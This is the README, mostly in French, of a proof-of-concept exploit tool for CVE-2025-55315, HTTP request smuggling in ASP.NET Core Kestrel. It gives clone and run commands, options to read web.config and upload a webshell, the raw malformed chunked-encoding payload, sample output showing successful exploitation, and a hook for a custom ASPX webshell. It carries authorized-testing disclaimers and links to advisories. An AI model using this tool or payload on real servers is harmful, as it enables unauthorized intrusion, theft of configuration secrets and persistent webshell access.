
Exploit PoC CVE-2025-55315
Outil d'Exploitation de Contrebande de Requêtes HTTP pour ASP.NET Core Kestrel
CE OUTIL EST UNIQUEMENT DESTINÉ AUX TESTS DE SÉCURITÉ AUTORISÉS !
Outil professionnel de test d'intrusion pour CVE-2025-55315 (vulnérabilité de contrebande de requêtes HTTP dans ASP.NET Core Kestrel). Cet outil est conçu pour l'analyse d'une seule cible avec des capacités d'exploitation complètes.
Une vulnérabilité critique de contrebande de requêtes HTTP dans le serveur web ASP.NET Core Kestrel (CVSS 9.9/10) qui permet aux attaquants de :
Versions affectées :
# Python 3.7 or higher
python3 --version
# No external dependencies - uses only standard library
# Clone or download the tool
git clone https://github.com/ZemarKhos/CVE-2025-55315-PoC-Exploit.git
cd CVE-2025-55315-PoC-Exploit
# Make executable
chmod +x cve_2025_55315_PoC.py
python3 cve_2025_55315_PoC.py -t target.com
Cela va :
python3 cve_2025_55315_PoC.py -t target.com -e /api/login
python3 cve_2025_55315_PoC.py -t target.com --read-config -o report.txt
python3 cve_2025_55315_PoC.py \
-t target.com \
--read-config \
--upload-shell \
-v \
-o full_report.txt
Scénario : Vérifier si le serveur de production est vulnérable
python3 cve_2025_55315_PoC.py -t api.mycompany.com
Durée prévue : 30-60 secondes
Scénario : Scan complet des points de terminaison avec sortie verbeuse
python3 cve_2025_55315_PoC.py -t api.mycompany.com -v -o scan_results.txt
Durée prévue : 2-5 minutes
Scénario : Tester des points de terminaison critiques spécifiques
python3 cve_2025_55315_PoC.py \
-t api.mycompany.com \
-e /api/payment/process \
-e /api/admin/users \
-e /api/internal/config \
-o critical_endpoints.txt
Scénario : Tester un serveur HTTP interne
python3 cve_2025_55315_PoC.py \
-t internal-api.local \
-p 8080 \
--no-ssl
usage: cve_2025_55315_PoC.py [-h] -t TARGET [-p PORT] [-e ENDPOINT]
[--no-ssl] [--read-config] [--upload-shell]
[-o OUTPUT] [-v] [--timeout TIMEOUT]
Required Arguments:
-t, --target Nom d'hôte ou URL cible (par exemple, target.com)
Optional Arguments:
-p, --port Numéro de port (par défaut : 443 pour SSL, 80 pour non-SSL)
-e, --endpoint Point(s) de terminaison spécifique(s) à tester (peut être utilisé plusieurs fois)
--no-ssl Désactiver SSL/HTTPS (utiliser HTTP)
--read-config Tenter de lire le fichier web.config
--upload-shell Tenter de télécharger un webshell (nécessite confirmation)
-o, --output Enregistrer le rapport dans un fichier
-v, --verbose Activer la sortie verbeuse
--timeout Délai d'attente de la socket en secondes (par défaut : 10)
-h, --help Afficher le message d'aide
Target: old-api.company.com:443
Vulnerable: YES - CRITICAL
--- Server Information ---
server: Kestrel/8.0.15
kestrel_detected: True
http_version: 1.1
--- VULNERABLE ENDPOINTS (2) ---
✗ /api/login
Details: Request smuggling successful - multiple responses
✗ /api/health
Details: Request smuggling successful - multiple responses
--- SUCCESSFUL EXPLOITS ---
✓ web.config_read via /api/login
Interprétation :
Target: new-api.company.com:443
Vulnerable: NO - SECURE
--- Server Information ---
server: Kestrel/9.0.10
kestrel_detected: True
http_version: 1.1
[SUCCESS] ✓ Endpoint NOT vulnerable (400 Bad Request)
✓ No vulnerable endpoints found - target may be patched
Interprétation :
Avant d'exécuter cet outil, assurez-vous :
L'outil exploite CVE-2025-55315 en utilisant un encodage de transfert par tronçons malformé :
POST /endpoint HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
2;\n ← VULNERABILITY: Lone \n instead of \r\n
XX
0\r\n
\r\n
GET /smuggled HTTP/1.1 ← This becomes a separate request
Host: target.com
Pourquoi cela fonctionne :
\n comme terminateur de ligne → traite comme une seule requête\n → traite le GET en contrebande comme une requête séparée| Réponse du serveur | Interprétation | Statut |
|---|---|---|
400 Bad Request | Kestrel a rejeté le tronçon malformé | ✅ Sécurisé (corrigé) |
Plusieurs HTTP/1.1 | Deux réponses distinctes reçues | ❌ Vulnérable |
500 ou 502 | Erreur interne du serveur | ⚠️ Probablement vulnérable |
200 OK normal | Requête acceptée | ⚠️ Non concluant |
[ERROR] Connection failed: [Errno 111] Connection refused
Solutions :
ping target.com--no-ssl[ERROR] Connection failed: certificate verify failed
Solution : L'outil désactive déjà la vérification du certificat. Si le problème persiste :
export PYTHONHTTPSVERIFY=0
python3 cve_2025_55315_PoC.py -t target.com
[WARNING] No response - possible timeout
Solutions :
--timeout 30[WARNING] Upload blocked (forbidden/method not allowed)
Explication :
C'est normal - tous les systèmes vulnérables ne permettent pas le téléchargement de fichiers.
Avis de sécurité Microsoft : https://github.com/dotnet/aspnetcore/issues/64033
Base de données NVD : https://nvd.nist.gov/vuln/detail/CVE-2025-55315
Recherche de Praetorian (Bug Bounty de 10 000 $) : https://www.praetorian.com/blog/how-i-found-the-worst-asp-net-vulnerability-a-10k-bug-cve-2025-55315/
Analyse technique d'Andrew Lock : https://andrewlock.net/understanding-the-worst-dotnet-vulnerability-request-smuggling-and-cve-2025-55315/
Recherche PortSwigger : https://portswigger.net/web-security/request-smuggling
OWASP : https://owasp.org/www-community/attacks/HTTP_Request_Smuggling
Modifiez COMMON_ENDPOINTS dans le script :
COMMON_ENDPOINTS = [
'/your/custom/endpoint',
'/api/myapp/admin',
# Add your endpoints here
]
Modifiez la méthode upload_webshell() :
def upload_webshell(self, endpoint: str = '/', shell_path: str = '/shell.aspx',
shell_content: str = None):
if not shell_content:
shell_content = '''
<!-- Your custom ASPX webshell here -->
'''
Si vous trouvez des bogues ou avez des suggestions :
-v-o debug.txtTHIS TOOL IS PROVIDED "AS IS" FOR EDUCATIONAL AND AUTHORIZED
SECURITY TESTING PURPOSES ONLY.
THE AUTHOR(S):
❌ Do NOT endorse illegal activities
❌ Are NOT responsible for misuse
❌ Are NOT liable for any damages
❌ Do NOT provide legal advice
BY USING THIS TOOL YOU AGREE:
✅ To use only on authorized systems
✅ To accept full legal responsibility
✅ To comply with all applicable laws
✅ To follow ethical hacking principles
UNAUTHORIZED USE IS STRICTLY PROHIBITED AND ILLEGAL!
Cet outil a été créé pour :
PAS pour :
Tests de sécurité éducatifs et autorisés uniquement
Cet outil est fourni à des fins éducatives et de tests de sécurité autorisés. Toute utilisation commerciale, redistribution ou utilisation à des fins malveillantes est strictement interdite.
╔═════════════════════════════════════════════════════════════╗
║ ║
║ USE THIS TOOL RESPONSIBLY AND LEGALLY! ║
║ ║
║ Unauthorized access to computer systems is a CRIME. ║
║ Always obtain written permission before testing. ║
║ Follow responsible disclosure practices. ║
║ ║
║ Happy (Legal) Hacking! ║
║ ║
╚═════════════════════════════════════════════════════════════╝